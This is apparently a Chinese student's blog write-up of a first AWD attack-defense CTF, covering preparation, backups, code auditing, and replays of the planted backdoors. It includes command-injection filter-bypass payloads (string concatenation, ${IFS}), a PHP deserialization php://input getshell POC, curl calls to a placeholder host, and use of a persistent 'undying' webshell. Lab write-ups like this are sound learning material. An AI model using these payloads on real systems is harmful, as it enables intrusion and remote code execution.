之前忙于期末复习,没有及时总结当时参赛的感受及复现,这次就来总结一下。
由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考大师傅的博客进行学习,下面就叙述一下我学习的过程:
看了很多大师傅的博客,有的师傅博客中写到有些AWD比赛可能给的SSH账户密码相同,所以可以下载一些Github上修改SSH密码的批量脚本,可以让对手在一开始就丢分,但是经过这次比赛,发现其实现在的比赛已经不会再出现这种人为的漏洞了,主办方也会避免这种漏洞出现,否则整场比赛也没什么意意义了,因此我觉得批量修改SSH密码的脚本在线下赛是没有用处的,不过最好也备份一份,万一主办方懒那(那就有点爽了)。。。
那一开始比赛的时候要做什么,比赛一般都是三个人一队,要想在短时间内获得flag且防护好自己的靶机,就需要队伍内部提前明确好分工,这样效率会很高。
除此之外还需要finalshell
这个工具,这个工具是用来连接你的靶机的,非常方便,只需输入靶机IP、SSH账号密码即可控制自己的靶机、为备份、挂waf等做准备
比赛开始,第一步进行备份,最好使用可视化工具FileZilla FTP Client
进行备份,也可以用linux
本身的压缩打包命令,备份的目的在于万一对方利用漏洞进入你的靶机将你的WWW
下的目录给删除了,如果你没有备份就相当于宕机了,那就等着扣分吧,因此备份是非常重要的,使用主办方给的SSH账号密码、主机IP
进行连接备份
备份的另一个好处就是可以审计源码,因为大家的WWW
目录下的服务都是一样的,因此如果我们能率先在源码中找出漏洞的话便可以收一波分,这里就用到D盾
,可以用这个工具查出是否有预留后门或其他利用点
这样也有一个进行攻击的方向,除此之外还有一个便是Seay源代码审计工具
这个也可以提供一个你攻击的方向
脚本、脚本、脚本!!!非常重要,参加一次比赛发现真的脚本能力实在是太重要了,发现漏洞很重要,但是如果不会写出相应的批量脚本,你可以想象一下那么多只队伍,三个人手动提交,flag到后面每五分钟刷新一次,效率又低又累的要死,因此无论如何都要提高脚本能力(虽然我的脚本很烂,但一定会慢慢提高的),AWD比赛到后面就是比的脚本能力,前提是你要先找出漏洞。如果你和我一样目前脚本能力都很弱,也不用慌张,大师傅们的Github上有很多人家写好的,只需我们看懂,会改就可以用,这里我就不列举资源了,谷歌百度一搜索一堆。总之一句话,学好python,学会自己写脚本,真的很重要!!!
还有就是备份一下常见的POC,因为大多数AWD比赛都是各种CMS,这些CMS或多或少都存在漏洞,有时POC可以帮大忙,GitHub上都有,这里就不列出了
参加一次比赛,基本流程就是上面的了,但我觉得有一点很重要,不要抱着我们必须拿多少名次的心态,就放平心态,不要慌张,如果被人打了,要去审查日志,看大师傅是怎么打你的,如果看出人家利用的攻击方式,那你就可以利用这个点拿分,如果心态崩了,整场游戏将毫无乐趣,切记调整好心态,前几次参赛就不要太在乎名次,有更好,没有继续努力,不过需要总结之前是失败到哪里了,不能在一个坑中连续跌倒多次,这样才能进步。
这次的比赛算是比较照顾新手了,没有出现CMS官方的一些漏洞,因此POC也就没用到,而是主办方给选手留了很多预留后门,比赛时只成功利用了一个(我们比较菜)但还是刷了不少分,比赛结束了就将所有的预留漏洞都来复现一下,不能因比赛结束后就什么也不做。
首先先连接上自己的靶机
利用工具连接到靶机,并找到WWW
目录进行备份相应的服务
备份成功后进行D盾扫描
发现有三个可疑点,先来看第一个
一句话木马,直接上蚁剑
连接成功便可以使用curl
命令获取你想要的flag了,但是这么简单的后门大家都知道,所以这就需要拼手速了,脚本的重要性便体现出来了
这是大师傅之前写的,我们只是在修改了具体的一些参赛,但也因此获得了很多flag,所以脚本是真的很重要!!!,其实自己观察脚本的话,发现也不是很难,重要的便是在于思路,还是要多加练习。
我们是真的菜,当时比赛的时候竟然就没发现这个冰蝎一句话,复现的时候发现这个冰蝎马还是下载冰蝎时自带的马。。。
这串代码过滤很多高危函数字符如常用的system
等
如果绕开遍历便可以输入恶意语句,那就需要考虑如果进行绕过了,可以利用拼接的方式进行绕过:
payload:
?cmd=$a='syste';$b='m';$c=$a.$b;$c('curl xxx');
这个最可惜,当时我们被打的时候,发现有人是通过一个ping_test.php
文件来请求的,我们就查看了一下这个文件,果然是命令执行,但是过滤了一些东西
通过观察发现引入一个define.php
文件,查看文件发现
很明显的看出了过滤了空格,不行了不能复现了,我想打自己
绕过空格的方法有%09
、${IFS}
payload:
des=| curl${IFS}xxx
在审计源码的时候,发现在admin.php
中发现有一句提示
既然如此就去查看MySQL的history
,看一下改变了什么
cat /root/.mysql_history
这个目录保存着对MYSQL
的操作记录,这里由于我是在自己本地搭建所以没有信息,不过在比赛的时候应该是会提示到\html\public\ueditor\php\controller.php
,再观察phpinfo
,发现allow_url_include
为On,所以可以使用php://input
协议可直接getshell
官方给的POC
class Control{
public $file = '=phpinfo();?>';
private $flag;
public function __destruct(){
if(isset($this->file) && !preg_match('/<\?/is', $this->file)){
require($this->file);
}
}
}
$a = new Control();
$a->file = 'php://input';
echo serialize($a);
?action=shell&data=O:7:"Control":2: {s:4:"file";s:11:"php://input";s:13:"%00Control%00flag";N;}
POST传入
system('curl xxx'); ?>
在一开始蚁剑连接上了就想着放入一个不死马
发现一直是失败,明明比赛给的权限是root,所以就没有管,待后面公布WP才知道是在upload文件夹下有权限上传。。。。
哎呀 不行写完这篇总结打一句联盟发泄一下,我怎么这么菜啊
下面就说一下如何用不死马,以防自己忘记
这便是常见的不死马,密码自己设置并且进行md5
加密,我这里设置的是lemon
如果上传不死马成功后,就先来触发
触发成功,进行查看
木马出现,进行连接
利用成功!!!
如果自己靶机被别人种了不死马,如果有权限可以使用service apache2 restart
,直接删除即可
如果没有权限重启就kill掉www-data
用户的所有子进程
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
三、创建一个和不死马生成的马一样名字的目录
太菜了,没复现成功,具体看其他大师傅的吧!!
四、编写一个使用ignore_user_abort(true)
函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果
while (1) {
$pid = 不死马的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(1000);
}
?>
我比较喜欢第二种杀进程的,因为比较简单,估计之后会遇到其他的,之后再说吧,不过我是真的菜的一批,一定要好好练脚本能力,这些对大师傅没有什么技术含量,不要喷我。。。